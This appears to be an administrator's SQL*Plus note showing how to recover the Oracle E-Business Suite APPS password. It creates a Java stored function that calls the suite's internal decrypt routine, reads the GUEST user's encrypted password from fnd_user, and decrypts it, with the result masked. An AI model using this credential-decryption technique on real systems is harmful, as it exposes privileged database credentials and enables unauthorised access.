HOW TO RETRIEVE APPS USER PASSWORD

SQL> create or replace FUNCTION apps.decrypt_pin_func(in_chr_key IN VARCHAR2,in_chr_encrypted_pin IN VARCHAR2)
  RETURN VARCHAR2
  AS
  LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
  /

Function created.

SQL> select ENCRYPTED_FOUNDATION_PASSWORD from apps.fnd_user where USER_NAME='GUEST';

ENCRYPTED_FOUNDATION_PASSWORD
--------------------------------------------------------------------------------
ZH1F921F006508C040FFC1D352CFFC299F6492AF5961C3ED74F93BC2F59BF41409E0E0BFA7A8CD21
F3E79F3B043B4C3EBD7E

SQL> SELECT apps.decrypt_pin_func('GUEST/ORACLE','ZH1F921F006508C040FFC1D352CFFC299F6492AF5961C3ED74F93BC2F59BF41409E0E0BFA7A8CD21F3E79F3B043B4C3EBD7E') from dual;

APPS.DECRYPT_PIN_FUNC('GUEST/ORACLE','ZH1F921F006508C040FFC1D352CFFC299F6492AF59
--------------------------------------------------------------------------------
********

SQL>